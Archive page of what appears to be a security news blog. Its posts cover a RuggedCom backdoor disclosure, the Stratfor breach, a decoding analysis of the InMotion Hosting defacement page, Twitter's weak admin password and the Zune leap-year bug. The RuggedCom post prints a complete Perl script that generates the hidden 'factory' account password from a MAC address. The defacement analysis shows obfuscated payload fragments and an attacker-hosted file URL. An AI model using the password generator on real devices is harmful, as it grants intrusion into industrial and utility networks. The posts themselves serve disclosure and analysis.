Your security, networking, programming, and application news source.
Google
Showing posts with label fail. Show all posts
Showing posts with label fail. Show all posts

Tuesday, April 24, 2012

RuggedCom Unresponsive, Rugged Operating System (ROS®) Backdoor Disclosed

A factory backdoor account in RuggedCom's Rugged Operating System (ROS®) has been disclosed. <RuggedCom> is a manufacturer of rugged networking equipment popular in industrial, utility, and defense industries. These sensitive consumers of frequently security sensitive networking devices have recently been informed by RuggedCom, who has acknowledged the backdoor. Due somewhat to RuggedCom's unresponsiveness after acknowledgement, this information was publicly disclosed. According to the disclosure, an undocumented account, "factory", which cannot be disabled, is included in all released versions of ROS® with a password generated from the device's MAC address.

<Secunia - Full Disclosure CVE-2012-1803 (April 23, 2012)>

#!/usr/bin/perl
if (! defined $ARGV[0]) {
print "+========================================== \n";
print "+ RuggedCom ROS Backdoor Password Generator \n";
print "+ JC CREW April 23 2012 \n";
print "+ Usage:\n$0 macaddress \n";
print "+========================================== \n";
exit; }
$a = $ARGV[0];
$a =~  s/[^A-F0-9]+//simg;
@b = reverse split /(\S{2})/,$a;
$c = join "", @b;
$c .= "0000";
$d = hex($c) % 999999929;
print "$d\n";

Tuesday, December 27, 2011

Antisec Gives Christmas Present to the Public, Massivly Owning Stratfor's Servers

Stratfor, <(Wiki)Strategic Forecasting, Inc.>, is a global intelligence company founded in Texas in 1996. They are known for publishing security newsletters to the public. They also provide custom intelligence reports for clients such as major corporations, the U.S. military, and international government agencies.

The Antisec wing of Anonymous, revealed Saturday, on Christmas Eve, that they had compromised several("four") Stratfor servers and posted credit card details of a few Stratfor customers on IRC servers. Stratfor's site is still down with after being <(mirror)defaced>. The group claims plans to dump up to 200 gigabytes worth of data leading up to New Year’s Eve. Participants estimated they had already donated between $500,000 and $1,000,000 to charities fraudulently.

A Antisec participant explains motive for the attack, stating, “That there will be repercussions for when you choose to betray the people and side with the rich ruling classes.”

The biggest revelation seems to be how terribly insecure the security intelligence firm's servers were. Claims were made that Stratfor saved client data in clear text and even stored card security codes, a practice prohibited by credit card companies.

Stratfor, known for their secrecy and big name secret clients, has their proported client list posted (Although, some claim it may only be a subscriber list.)

<Proported client list (pastebin)>


Quinn Norton (December 26, 2011)
<Wired.com - Antisec Hits Private Intel Firm; Million of Docs Allegedly Lifted>

Sunday, October 2, 2011

Payload Anatomy of InMotion Hosting Defacements

The Attack


<InMotion Hosting> was hacked leaving more than 70,000 websites compromised on the weekend of September 23, 2011. One of many news articles that covered the attack:

(Article by Jack Phillips Sep 29, 2011)
<The Epoch Times: Hosting Firm InMotion Hacked, Thousands of Websites Defaced>

The Defacement


This attack appears to be a host-wide defacement. The defaced websites had hacked-by pages added to their site which credited "TiGER-M@TE":

(This is a screen shot of the defacement page, index.php )

From the perspective of the customer, there were no access, web, or ftp log entries. A file named hacked_page was dropped in to the root www directory and was propagated to all the immediate sub-directories as index.php.

<index.php contents>(pastebin.org)

Encoding


This PHP page contains only HTML and JavaScript. A close look at its contents shows that it uses some cleaver encoding in an attempt to avoid security fingerprinting, which could later allow for easy automated detection.

A common technique is to represent malicious JavaScript code in escaped hexadecimal character format, then pass that through JavaScript's unescape function at run time. First, this obscures the malicious code. With some small adjustments, the same encoded contents can be generated in many copies all uniquely different. But, with a little time one can decode the page's contents.

The unescape function decodes the URL escape character syntax as well as the JavaScript escape character syntax. The defacement page used both, one over top of the other:

found in index.php
(JavaScript escaped hexadecimal characters)

\x25\x33\x43\x25\x37\x33\x25\x36\x33\x25\x37\x32\x25\x36\x39\x25\x37\x30\x25\x37\x34

unescape's to...
(URL escaped hexadecimal characters)

%3C%73%63%72%69%70%74

unescape's to...
(The start of an HTML tag that will contain the malicious JavaScript)

<script

This is not a new technique and is easily decoded after the fact. After coding up a quick tool I was able to decode the page:

<index.php decoded>(pastebin.org)
(The decoded contents are noted in JavaScript comments.)

I've created an open source tool for decoding escaped hex, <Unescape>, so you can follow along.

Analyzing this shows that this page has five parts of interest:
  • Connection to statistics tracking service
  • Window animation and color cycling
  • A base64 embedded GIF image (not hex-coded)
  • "Hacked" image
  • Playing of an embedded Flash file (apparently for auto playing audio)

Statistics tracking


Line #33 of the <decoded page> (line #11 originally) defines the function details. This function is set as an onclick event for the "TiGER-M@TE" text. The function open three web pages when triggered, two different statistics tracking service links at <zone-h> and one Google search of "Hacked by TiGER-M@TE" through <LMGTFY (Let Me Google That For You)> The statistics at zone-h can be viewed here:

<zone-h notifier: TIGER-M@TE>

<zone-h notifier: TIGER-M@TE special=1>

Window animation


Line #40 through #133 of the <decoded page> (also line #11 originally) defines a timed script of moving and resizing the browser window in some sort of animated show while cycling colors.

Embedded base64 GIF image


Line #148 of the <decoded page> (the end of line #11 originally) contains a GIF image embedded in the page using <base64(wiki)> encoding. This appears to merely be a faded line. As we'll seen next, maintaining image hosting seems like a challenge for the defacers.


"Hacked" image


Line #183 of the <decoded page> (then end of line #15 originally) is some encoded JavaScript to add an image tag to a small image of the word "Hacked". This <image is hosted on Fotonons.ru> but the tag is crafted to fall back on <the same image hosted at BayImg.com>. This seems to highlight the perceived difficulty of maintaining image hosting during the peak of the defacement activity.

Embedded flash audio


The code inside the "mp3 code starts from here" HTML comments turned out to be the most complicated. This part was encoded in multiple layers and revealed a custom character transformation function. First the contents had some key characters escaped with JavaScript hex characters, the entire resulting contents was escaped with URL escaped hexadecimal characters, then the resulting contents was additionally escaped with JavaScript hex characters. Pealing this away reveals a dF function which provided a custom transformation decoder for decoding the accompanying section of escaped data:

<index.php decoded dF function>(pastebin.org)

This decoder merely did some basic arithmetic to each character's value. The final results start at line 200 of the <decoded page>. This resulting code adds the following flash file to the page for auto-play:

http://77.247.69.68/.../By_TiGER-M@TE.swf

The host 77.247.69.68 <resolves> to <Rackhosting.com> in Denmark. The link, with its peculiar "..." directory, seemed dead as as soon as tested.

Variable Names


The "_0x9355" style of JavaScript variable names imply that many documents where intended to be generated with unique variable names. This technique would act as an obfustication while attempting to evade fingerprinting by security applications such as anti-virus and intrusion detection services.

Summary


The index.php defacement page propagated nearly one hundred thousand times in recently compromised <InMotion Hosting> web sites display a decorative brand promotion while loading a flash file that appeared to be for audio, but was unrecovered. A statistics tracking service was used and a couple of mostly common techniques where used to obfusticate the JavaScript code in an apparent attempt to evade filtering and detection by security services.

UPDATES:

10/2/2011 - Added decoded dF function pastebin
10/8/2011 - Added open source Unescape tool.

Wednesday, January 7, 2009

Happiness P0wns Twitter

  About a week after the new year, <Twitter> had several high profile accounts (Tech Crunch)<taken and defaced>. Obama, FoxNews, Miley Cyrus, and Britney Spears, just to name a few, had lewd comments or questionable links posted. Miley Cyrus (Hannah Montana) had a (YouTube)<video memorial> hoaxing her death made widely public by <MTV> (who didn't fall for it).
  This event was quickly tracked back to a hacker forum called <Digital Gangster>. An 18 year old hacker calling himself GMZ took credit for the hack. He gave an interview of his account to Threat Level, who verified his story with video of his administration access.
  GMZ claimed that he merely made a dictionary attack program/script and pointed it at a popular Twitter user named "Crystal". After only one night the administrative account was cracked with the epically stupid password "Happiness". That's pretty ridiculous that the system allows such weak passwords, especially for administrative accounts, but its worse. GMZ claims that Twitter has no limitation on log-in attempts. When he realized the account he cracked was an administrative account and that he hadn't bothered using a proxy, he decided not to take any accounts himself. He merely took requests to reset account passwords and tossed them on Digital Gangster. Digital Gangster quickly deleted the related posts, but not before some quite entertaining mayhem took place.

<Wired Blog - Weak Password Brings 'Happiness' to Twitter Hacker>

Friday, January 2, 2009

Zune Bug Source Code

A bug in 30GB Zunes caused them to freeze on December 31st became the <big news of the holidays> (Gizmodo Dec 31 2008). This was dubbed the 'Z2K9' bug while Zune users flooded <Zune support forums> with pleas for help.

It was quickly realized that by disconnecting both the battery and the hard drive that the time/date would be reset unfreezing your Zune. Microsoft's response to the bug was that it is a leap year handling bug and their official fix was to wait until New Years, for the bug to resolve it's self.

Source code of the bug has apparently been been released. A hardware component manufacturer, <Freescale Semiconductor, Inc.>, is apparently the manufacturer of the <RTC (Real Time Clock)> used in these Zunes. Source code for the Freescale RTC driver module has turned up online. This code has an obvious bug related to line #263, in the 'ConvertDays' function.

Multiple source code mirrors for rtc.c:

http://paste.exstatica.net/7 - (Line #'s + Highlighting)

http://pastie.org/349916 - (Line #'s)

http://tinypaste.com/pre.php?id=53c3996 - (Neither)

The problem appears to be with the date December 31st, on leap year, being day 366. You can see on line #263, an if statement testing 'days > 366' inside a while loop testing 'days > 365'. It seems apparent that if days was 366 this would be and endless loop, at least until the next day.

Update: <The official Zune workaround instructions>

Tuesday, October 28, 2008

New hosting

Update: Lock still in effect Oct 28, 2008
We have hosting at <www.SoCoSoftware.com/HackersLounge/> and have imported the blog to Wordpress. This transition might take some time. We are still looking for the right domain name.